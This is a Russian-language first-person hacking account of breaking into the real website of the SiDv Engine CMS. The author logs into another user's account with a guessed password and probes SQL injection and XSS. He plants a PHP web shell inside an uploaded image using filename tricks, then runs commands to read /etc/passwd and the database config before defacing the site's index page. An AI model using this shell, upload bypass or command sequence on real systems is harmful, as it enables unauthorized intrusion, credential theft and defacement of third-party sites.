Однажды, в студеную зимнюю пору... сидел я за компьютером. Делать было нечего, и тут я вспомнил что на днях совершенно случайно зашел на сайт www.sidv.com.ru. Как оказалось - это официальный сайт движка под названием SiDv Engine. Довольно неплохой дизайн, множество разных функций. Я зашел на страницу зарегистрированных пользователей. Выделил первого попавшегося и скопировал в поле логина. Как ни странно, но пароль был такой-же как и имя пользователя. Система дружелюбно сообщила мне о удачном входе =) Но не будем отходить от темы. Скачал скрипт, запустил денвер, добавил новый хост sidv.com.ru и установил движок. Я начал исследование скрипта. Сразу бросился в глаза урл такого вида: http://sidv.com.ru/index.php?m=News&a=view&id=1. Я естесственно поставил кавычку в значение id: http://sidv.com.ru/index.php?m=News&a=view&id=1' Немного подумав, скрипт выдал ошибку: Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in z:\home\sidv.com.ru\www\includes\templates\mysql_template.php on line 296 Так как я знал название таблицы с юзерами и количество полей в нем, то сразу вставил sql-запрос в значение id: http://sidv.com.ru/index.php?m=News&a=view...er+WHERE+id=1/* Ничего хорошего из этого не вышло. Попробовал так: http://sidv.com.ru/index.php?m=News&a=view...9;+WHERE+id=1/* Как оказалось, это тоже ни к чему не привело. Я решил продолжить поиски бага. Вот один из многих XSS'ок: http://sidv.com.ru/index.php?m=%3Cscript%3...e)%3C/script%3E Но мне не хотелось заморачиваться с подделкой кукисов и социальной инженерией. Тут я зашел в меню профайла пользователя. Судя по-всему автор движка был незнаком с фильтрацией данных. Почти в каждое поле можно было вставлять любой html-код. Я увидел форму для закачки аватары с локального компьютера. Да, что-то все-же скрипт фильтровал. Возможно было закачивать только картинки формата jpg,gif,png... Немного попотев я сумел обойти фильтрацию расширений и смог залить маленький php-шелл. Но все попорядку. Сначала я открыл фотошоп и создал новую картинку 60х60. Далее File - > File Info и дописал в поле копирайтов вот такую строчку: <?passthru($_GET[cmd]);?> Сохранил картинку с именем "m.php%00.php". Скрипт без особых проблем пропустил "грязный скрипт". Все картинки загружались в директорию /foto_images/. Я перешел на http://sidv.com.ru/foto_images/m.php%00.php, но к моему сожалению сервер выдал ошибку Internal Server Error. Тогда я переименовал файл в m2.php00000000000000000000000.php, и О Боже, он загрузился и исправно работает ! Я поспешил ввести команду m2.php00000000000000000000000.php?cmd=uname%20a. Но команда не выполнялась. Тогда я решил заменить код символа пробела на код символа табуляции. В результате получился запрос вида: ?cmd=uname%90a. Как я и предполагал, система успешно выполнила мою команду. Сервер крутился на Linux'e. Далее "id;": uid=32059(sidvcomr) gid=561(sidvcomr) groups=561(sidvcomr) Далее "ls -la;" total 157 drwxr-xr-x 2 sidvcomr sidvcomr 1024 Mar 20 06:07 . drwxr-x--- 21 sidvcomr nobody 1024 Mar 19 11:28 .. -rw-r--r-- 1 sidvcomr sidvcomr 5268 Nov 20 05:11 190_anakin.gif -rw------- 1 sidvcomr sidvcomr 2018 Dec 30 17:47 2213.JPG -rw------- 1 sidvcomr sidvcomr 94850 Dec 30 17:40 JCDenton_e02.gif -rw-r--r-- 1 sidvcomr sidvcomr 3304 Jan 21 19:23 answer.gif -rw-r--r-- 1 sidvcomr sidvcomr 10164 Nov 20 05:11 emv_avatar.gif -rw-r--r-- 1 sidvcomr sidvcomr 685 Mar 20 06:06 error_log -rw-r--r-- 1 sidvcomr sidvcomr 0 Apr 13 2005 index.html -rw------- 1 sidvcomr sidvcomr 1042 Mar 20 06:07 m2.php00000000000000000000000.php -rw-r--r-- 1 sidvcomr sidvcomr 5343 Jul 27 2005 matrix03.gif -rw-r--r-- 1 sidvcomr sidvcomr 7810 Apr 13 2005 nfoto.gif -rw-r--r-- 1 sidvcomr sidvcomr 4438 Sep 19 17:42 shsm.jpg -rw------- 1 sidvcomr sidvcomr 6593 Mar 8 06:03 tn_Anita_Blond_t.jpg -rw------- 1 sidvcomr sidvcomr 3799 Dec 30 17:41 вв.jpg "cat ../../../../../etc/passwd;" root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: ... "which wget curl lynx;" - как выяснилось, на сервере не было качалок. Я, конечно немного разочаровался из-за того что несмог залить на сервер сплоит. Мне ничего не осталось делать как посмотреть файл ../config.php, в котором хранилась информация о доступе к бд. Почувствовав что делать зжесь больше нечего, я просто заменил содержимое ../index.php на свое. Вот и все. В этой статье явно показано как можно обойти фильтрацию файлов по расширению. Конечно не везде такая бага прокатывает, но принять к сведению, думаю, стоит.